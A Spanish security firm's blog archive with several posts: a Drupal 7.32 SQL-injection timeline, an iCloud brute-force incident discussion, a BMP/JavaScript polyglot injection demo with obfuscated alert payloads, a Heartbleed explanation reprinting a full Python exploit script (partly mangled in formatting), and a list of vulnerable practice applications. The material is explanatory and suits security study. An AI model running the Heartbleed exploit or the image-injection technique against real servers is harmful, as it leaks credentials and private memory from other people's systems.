Category Archives: Exploit

  • 0

Diario de un exploit crítico. Vulnerabilidad Drupal 7.32

Cada día salen a la luz nuevas vulnerabilidades mas o menos fáciles de explotar.

Estas vulnerabilidades o bugs pueden afectar de diferente manera a los servicios que ponemos en la red. Cada vez mas, se reduce el tiempo desde que se hace publica una vulnerabilidad hasta que esta es explotada de una manera “industrial” para conseguir algún tipo de beneficio.
Lo que vamos a contar ahora es una ejemplo de esta rapidez y lo que puede llegar a hacer para una plataforma que es comprometida.

Día 0, un pentester, hacker o como quiera llamarlo descubre una vulnerabilidad en un código y lo publica en internet

Los primeros datos apuntan a que la vulnerabilidad encontrada afecta a un software muy extendido de creacion de blogs y paginas webs llamado Drupal. Esta vulnerabilidad a las versiones 7.31 y 7.32. En el siguiente video aparece un chico asiático, Pichaya Morimoto, describiendo esta vulnerabilidad en el CORE de Drupal 7.31. En el vídeo está utilizando herramientas como son plugins para la navegación, creemos que hackbar, un editor de textos para ver el código y alguna herramienta más como burp suite, además hace uso de una máquina para pruebas. Sí, más o menos, así es como los pentesters descubren la mayoría de los fallos, trabajando en encontrarlos. El vídeo está en en Tailandés, supongo, así que recomendamos poner los subtítulos en inglés.

 

Día 1, alguien ve el vídeo o encuentra la vulnerabilidad publicada y desea crear una script que la explote

Esta vulnerabilidad podría hacer que un atacante cambiase la clave del administrador del CMS, consiguiendo por supuesto el control total sobre el contenido del mismo. Por supuesto, no han tardado mucho en sacar un script que pueda explotar esta vulnerabilidad de forma casi inmediata, que el core de Drupal sea la versión 7.31 o 7.32 no importa, porque la vulnerabilidad es la misma. Drupal no ha parcheado o no se ha enterado hasta la fecha.

< ?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   __ / _ / //_/ __/ / __ / __ / __/ / / __ / ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/___/_/|_|__/_/____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//        and Stefan Esser <stefan.esser@sektioneins.de>
//·
  
include 'common.inc';
include 'password.inc';
[resto del codigo]  

 

Día 2, A partir de este día muchas webs empiezan a verse afectadas

Una vez echo publico el bug, un “chico malo” un poco listo, piensa que “¿por que no lo explotamos para poner nuestras cosas?”. Dicho y echo, la tarea de automatizar la explotación de la vulnerabilidad y poner o modificar los contenidos de estas webs es un juego de niños para esta gente.Para tener una lista mas o menos actualizada de webs vulnerables se valen de repositorios públicos de este tipo de datos como Shodan.

Una vez tienen el sistema de automatización creado con la lista de maquinas vulnerables, solo falta lanzar lo a la red para explotar esos sistemas.

Las páginas web aparecen defaceadas o con cosas que no deberían estar publicadas y algunos usuarios enfadados porque la página ha desaparecido. Los malos, hacen uso de herramientas automatizadas o simplemente realizan el ataque manualmente.

Muchos clientes contactan con sus respectivos servicios de soporte del hosting, que además les dirá que es un problema de seguridad del CMS y que no es problema de ellos, que reinstales la página web y/o los backups.

Día 3, TeamSec empieza a recibir llamadas para securizar la web Drupal

Para una empresa o particular que su negocio dependa de Internet es un problema muy serio tanto por el tiempo perdido como por el dinero que puede costar la reparación o recuperación. Estos costes suponen que los responsables sepan reinstalar y/o recuperar un backup. De no ser así deberían de contratar a alguien que pueda realizar esas tareas. Deberá de comprobar que una vez recuperado el sistema vuelve a su estado anterior, eso si contar que puede perder datos por el camino.

En resumidas cuentas para una empresa le supone asignar recursos que se dedican a otras tareas para resolver el problema. Mientras que el problema persiste se esta perdiendo dinero.

Este tipo de ataques se producen en un tiempo muy corto desde que se descubre la vulnerabilidad hasta que se se automatiza y empieza a afectar a toda clase de servicios. Dado este corto periodo de tiempo, comprendemos que los administradores, o gerentes de las empresas no tienen tiempo para estar al tanto de los problemas de seguridad que pueden afectar a su plataforma, con llevar el día a día de la empresa tienen mas que suficiente. Ahí es donde entra en juego las empresas de seguridad lógica con un nutrido grupo de profesionales que están al tanto de las noticias, fallos, y demás anomalías que pueden afectar a su plataforma.

Como hemos comentado en mas de una ocasión, a Vd como empresa no les atacan por que se dediquen a esto o a lo otro, o por que tenga una mejor o menor publicidad, simplemente le atacan a su empresa por que han descubierto que su empresa es vulnerable. Aquí es donde entra en juego las empresas de seguridad. Vd se gasta dinero en puertas de entrada a sus oficinas cada vez mas seguras, en cerraduras infranqueables, etc. Si Vd tiene una pagina web, blog o escaparate en Internet, estas también tienen que estar protegido como sus oficinas. Por que al final es la cara y parte de su Marca que presenta al mundo.

TeamSec le puede ayudar en estas tareas. Le ahorrara tiempo al no tener que preocuparse de la seguridad integrar de su empresa. Le ahorrara dinero evitando que sus sistemas tengan fallos o estos sean explotados por personal ajeno que le supondrían un problema de imagen de Marca, Reputación, posibles demandas, etc, que al final se traduce en dinero. Contamos con el mejor equipo de expertos en seguridad que le ayudaran ahorrarse dinero evitando que le pasen problemas.

 

Más info sobre esta vulnerabilidad calificada con categoría de riesgo muy alto:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE: 2014-3704


  • 0

Apple, el brute forcing and #TheFappening

findmyiphone
Estos días ha ocurrido algo que era de esperar, otra vez se nos confirma que la seguridad en los móviles esta infravalorada.

La providencia me hizo escribir un post al respecto justo antes de que comenzase el periodo estival, “owasp mobile security” donde describí en gran parte cuales eran las principales amenazas para la seguridad de los móviles y su categorización según OWASP.

 

A la luz salió entonces este script, como no, en python con el nombre id_brute.py, descargable en id_brute.py

Pues no ha tardado mucho tiempo en producirse lo que muchos temían, un fallo de seguridad bastante grave ha hecho que se vulnere la privacidad de gente famosa. La ley de Murphy se vuelve a cumplir.

Apple en este caso, ha sido víctima de un ataque de fuerza bruta a datos privados de usuarios de su nube, a través de un script escrito en python que brutea las credenciales del usuario de una aplicación concreta.

Ha habido muchas declaraciones acerca de quien tiene la culpa, algunos dicen que si apple, otros que la app, algunos incluso hablan de los famosos y sus claves.

Arrojando un poco de luz sobre todo esto:

Supuestamente para utilizar un servicio apple solicita varios tokens, sin embargo en el script, se puede leer esta línea de código donde el ID del iphone (uno de estos tokens de seguridad) se crea como una variable estática, de hecho el comentario en el código es “créala aleatoriamente!”.

¿Según esto, apple habría obivado ese token a la hora de acceder a la nube?

#make it random!
"deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622",

Otros hablan de un ataque más dirigido, ¿Es posible que el hacker utilizase alguna técnica de phising para extraer esos Ids y luego usarlos en su script? Se habla de que es posible que el hacker sacase los datos de los IDs a través del servicio “Find My Iphone”, también, al perecer con un ataque de fuerza bruta.

 

 

En cualquier caso, a nuestro modo de ver, el gran fallo es de apple. Puesto que, los servicios de almacenamiento en la nube son de ellos y ellos son los que deberían encargarse de la seguridad. Ellos son los responsables últimos de que sus APIs manejen estos tokens supernecesarios de seguridad y ellos deberían ser los que aclarasen cual a sido el problema. Esta descrito como M5 Poor Authorization and Authentication Según la categoría OWASP para este tipo de riesgo. No porque la autorización sea pobre, sino porque no ofrece ninguna prevención contra la fuerza bruta aparentemente.

En cuanto a las fotos, nada espectaculares, ni siquiera excitantes, algunas un poco íntimas, en internet se han creado canales con el nombre #TheFappening, subreddits, etc y cientos de salidos las han guardado cual Golum con el anillo de poder (su tesoro). Algunos famosos se lo han tomado mejor que otros y se prepara una lluvia de demandas.

En cualquier caso, volvemos a insistir: Las passwords tienen que ser seguras, confiar la seguridad a un grupo pequeño pero poderoso de compañías, no va a hacer más que esas compañías sean objetivo de continuos ataques a sus usuarios, es lógica pura.

Entramos en una era donde confiamos la seguridad de nuestros datos a potencias extranjeras, empresas multinacionales, etc sin pararnos a pensar en la seguridad de nuestros datos. No voy a cuestionar aquí los beneficios de la nube, si no obstante los beneficios de una nube con sistemas de cifrado de datos en el almacenamiento o simplemente que las aplicaciones cifren los datos de los usuarios.

Sinceramente creemos que nunca se sabrá la verdad de como se hizo el ataque. Apple dirá que sus sistemas son seguros, que no han tenido brechas de seguridad. Los expertos de seguridad crearan teorías mas o menos elaboradas sobre como pudo pasar. Y el usuario … seguirá siendo el usuario, que con tener su móvil “chulo” de ultima generación que tenga unos iconos superchulos, estará satisfecho. Al final todos pensamos que “Eso nunca me puede pasar a mi”. Lo malo es que si te puede pasar. En eso vamos a agradecer al hacker darnos una lección sobre seguridad, ya que si los que padecieran esta intromisión no fueran famosos quizás nadie prestaría atención a la seguridad de sus dispositivos


  • 1

Hacking a través de imágenes

Tags :

Category : Ciberseguridad , Exploit

¿Es posible ejecutar código malicioso a través de una imagen?.
Navegando un poco me encontre un artículo muy interesante sobre una técnica de hacking a través de imágenes.
Un script en python que puede embeber código javascript dentro de una imagen bmp, dejando esta
imagen correctamente para que se muestre en el navegador.
Un ejemplo de una página web que podría contener una imagen con un script malicioso

 

<html>
<head>
<title> favorites / bookmark title goes here </title>
</head>
<body>
<h1> My malicius image page </h1>
<img src=”/home/pablo/hacks/bmp1.bmp” >
<script src = “/home/pablo/hacks/bmp1.bmp” >
</body>
</html>

Como se ve la imagen y el script son el mismo archivo
Para crear este imagen bmp maliciosa podemos usar el siguiente script creado por Marco Ramilli, espcialista en security research. marcoramilli.blogspot.com y que el mismo ha colgado en pastebin.
http://pastebin.com/04y7ee3u

Con el mismo Marco explica, es  una implementación  para sacar partido a ciertos bugs que  algunas librerias que manejan el parseo de los bitmaps contienen. Lo que hace es injectar código javascript dentro de la imagen. ¿Pero como es posible que una imagen ejecute código javascript?
El primer paso consiste en crear la imagen maliciosa que se insertaría en un servidor web.

 

python bmpinjector.py.py  -i image.bmp "alert("test");"
 |======================================================================================================|
 | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
 | It is the end user's responsibility to obey all applicable local, state and federal laws.            |
 | Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
 |======================================================================================================|
                    
[+] Finished!

 

La idea es crear una cabecera de archivo BMP con x2Fx2A y luego cerrarlo con  x2Ax2F. El servidor intentará verificar el archivo como un archvo javascript, de ahí esta modificación de las cabeceras del archivo . Para que sea un archivo javascript válido, necesita usar la header (x42x4D) como una variable y/o parte del código, es por esto último que se necesita injectar también la expresión like “=1;” o más comunmente usada “=a”. Asi que el incrustado del payload requiere de ciertas cadenas para que el servidor interprete que el archivo es válido, tanto como bmp como javascript.

Para hacer una prueba vamos a ejecutar el script con un simple alert.
python bmpinjector.py -i bmp1.bmp “alert(“test”);”
Ahora vamos a ejecutar el script para generar un payload de ejemplo más avanzado ofuscando el código:

 

python bmpinjector.py -i bmp1.bmp "var _0x9c4c=["x48x65x6Cx6Cx6Fx20x57x6Fx72x6Cx64x21","x0A","x4Fx4B"];var a=_0x9c4c[0];function MsgBox(_0xccb4x3){alert(_0xccb4x3+_0x9c4c[1]+a);} ;MsgBox(_0x9c4c[2]);"

Esta vulnerabilidad ya ha sido corregida en la mayoría de servidores y/o navegadores, pero no en todos, como siempre habrá alguno que no esté actualizado y demuestra una vez más que hay formas muy diversas de ejecutar código malicioso insertado en todo tipo de objetos que luego manejan los servidores.

Articulo completo [eng]:
http://marcoramilli.blogspot.com.es/2013/10/hacking-through-images.html


  • 1

El exploit de Heartbeat “El latido de SSL”


Heartbleed_bug_explainedUn error grave en el código fuente de una de las librerías que maneja SSL ha estado permitiendo la extracción de información de servicios de internet que utilizan el protocolo de comunicaciones basados en SSL desde al menos el 2011. Muchos servidores y máquinas de internet han sido expuestos a la posible fuga de información. El error fue descubierto por un técnico de Google en Diciembre del año pasado.

El Heartbeat, es un mensaje que le indica al servidor que el cliente está “vivo”, simplemente para evitar el cierre de la comunicación. El problema por el cual, el programador que ya ha pedido disculpas por su error, se produce esta inseguridad es por la falta de comprobación de la longitud de entrada de la información al hacer ese envío en la función dtls1_process_heartbeat de ssl/di_both.c

Este latido, más conocido como un “keep alive” (mantener vivo) consiste en que el cliente envía un paquete de datos de 5Bytes, el servidor los recibe y los devuelve, de esta forma se comprueba que efectivamente, sí el servidor nos responde con una “copia”, hay comunicación. Pero en el proceso el servidor almacena los datos en memoria,  de ahí que diga “copia”.

El fallo:
¿Que pasa si le decimos al servidor que queremos unos datos del tamaño de 100kb pero en realidad solo le enviamos 5Bytes? Pues en este caso el fallo, se basa en esto mismo, alterando la longitud del campo, el servidor responderá con un campo igual de largo y en el proceso arrastrará consigo datos de memoria que no corresponden con el destinado a responder a esos Bytes, enviando además datos adyacentes a la cabecera, hasta 64kb por vez. Muchos pensarán que esto no ocurriría en otros lenguajes de programación pero en C es necesario restringir el acceso de las variables en memoria si no se quiere que ocurran estas cosas, sobre todo si la información se va a devolver a un cliente.


¿Que puede suponer esta vulnerabilidad?
Podría ser una lotería porque la asignación de memoria y su reserva dinámica se comportan de forma aleatoria, el atacante podría obtener muchos datos aleatorios, pero a su vez también podría obtener contraseñas y usuarios de los que estuviesen accediendo a un servidor en ese momento o llegar incluso a volcar la memoria del servidor por completo, sería una cuestión de paciencia, pero en cualquier momento seguro que podría revelar algo confidencial.

@yahoo your login servers are vulnerable for the OpenSSL #heartbleed
attack, exposing usernames and plain passwords pic.twitter.com/v8kddiP0Yo
Enlace permanente de imagen incrustada


¿Como saber si un sitio está comprometido? https://filippo.io/Heartbleed/


Han creado también un sitio web para información sobre la vunerabilidad  Le han llamado al sitio heartbleed por una deformación del lenguaje que sa ha quedado en ser un corazón ensangrentado http://heartbleed.com/

Para mitigar los daños ya se ha parcheado la vulnerabilidad, es buena idea comprobar que ha actualizado sus librerias SSL.

Además se disponen de herramientas para testear el fallo:

Un script para comprobar con nmap si está presente la vulnerabilidad https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Exploit escrito en python

# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]

#!/usr/bin/env python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('n', '').decode('hex')

version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])

def create_hello(version):
    hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
    return hello

def create_hb(version):
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    return hb

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)         print '  %04x: %-48s %s' % (b, hxdat, pdat)     print    def recvall(s, length, timeout=5):     endtime = time.time() + timeout     rdata = ''     remain = length     while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:             return None         r, w, e = select.select([s], [], [], 5)         if s in r:             data = s.recv(remain)             # EOF?             if not data:                 return None             rdata += data             remain -= len(data)     return rdata       def recvmsg(s):     hdr = recvall(s, 5)     if hdr is None:         print 'Unexpected EOF receiving record header - server closed connection'         return None, None, None     typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):
        print 'Trying ' + version[i][0] + '...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(create_hello(version[i][1]))
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break

        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(create_hb(version[i][1]))
        if hit_hb(s,create_hb(version[i][1])):
            #Stop if vulnerable
            break

if __name__ == '__main__':
    main()

 


Como se aprecia por el tuit, hasta Yahoo se vió afectada por este bug, ¿Cuánto tiempo y cuántas veces ha sido utilizado? Pues bien, aparentemente, por su naturaleza “inofensiva” no habría sido detectado de forma rutinaria, puesto que no hay un comportamiento anómalo que delataría la presencia de un fallo, bug, agujero de seguridad, un hacker, etc, pero en este caso, excepto esa pequeña información de 64kb excedente todo resultaría aparentemente normal.

Esperemos que de aquí en adelante el programador, que como ya dije, se ha disculpado y el resto de la comunidad vigilará más de cerca la implementación de de estas librerías en un proceso continuo de evaluación de riesgos de seguridad, ya que SSL es una de las bases en las que se asientan las comunicaciones cifradas hoy en día.

Pablo Martínez. TeamSec


  • 0

Damn Vulnerables Applications

Vamos a hacer un pequeño repaso de algunas herramientas para los que quieren comenzar con el pentesting sin meterse en “líos” y sin complicaciones, ya que, en su mayoría son live cds que podemos arrancar en una máquina virtual. Esto nos permitirá adecuar el escenario en el que vamos a realizar la auditoría, normalmente un ordenador en el mismo rango de ip que el auditor y con su consentimiento ya que es él mismo.

 

Hacking de aplicaciones Web
dvwaDVWA

DVWA Es una web escrita en PHP que nos ofrece un montón de vulnerabilidades por explotar, entre otras, fuerza bruta, SQLi, SSX, etc. Es muy fácil de instalar puesto que tiene una versión livecd o bien podemos publicarla en un servidor web propio. Nos permite configurarla en 3 niveles de dificultad. Está aplicación es genial si lo que se quiere es entender la mecánica de la obtención de datos a través de inyecciones SQL y además ver en vivo como funciona.

webgoat

WebGoat
Ya había mencionando a WebGoat en un artículo anterior sobre OWASP. Esta aplicación incluye incluso más vulnerabilidades que la anterior y por lo tanto más exhaustiva, funciona en cualquier sistema operativo que permita instalar una máquina virtual de java, ya que está escrito en dicho lenguaje.

Hay muchas otras aplicaciones con vulnerabilidades que podemos encontrar por internet, ya sea en forma de livecd o de página web. Hay numerosos grupos de hackers y expertos en seguridad que las publican para que los novatos practiquen y/o incluso ingresen a sus grupos, si superan los retos correspondientes.

 

Hacking iOS

dvwiosDVIA
Para testear tus skills en hacking de sistemas iOS  en varios aspectos de la seguridad, como puede ser el almacenamiento inseguro o la detección del jailbreak entre otros tantos. Todos basados en vulnerabilidades ya parcheadas de iOS, pero que no deja de ser interesante por ello.

 

Hacking en sistemas linux

hacking_dojo
Hacking dojo
Hacking dojo es una web que ofrece servicios de instrucción en cuanto al pentesting, e-learning en 5 niveles, de novicio a más avanzado.
En esta web podrás encontrar varios live cd muy interesantes, cuando los arrancas, en ellos se encuentran normalmente instalado un servidor web donde indica cual es el objetivo que tenemos que lograr. Estas distribuciones vulnerables están basadas en linux y exigen conocimientos sobre algunos aspectos del sistema, pero a su vez nos embarcará en una serie de retos muy interesantes que nos obligarán a pensar “out of the box” y enfrentarnos al escenario típico de un servidor al que queremos sacar la clave del root.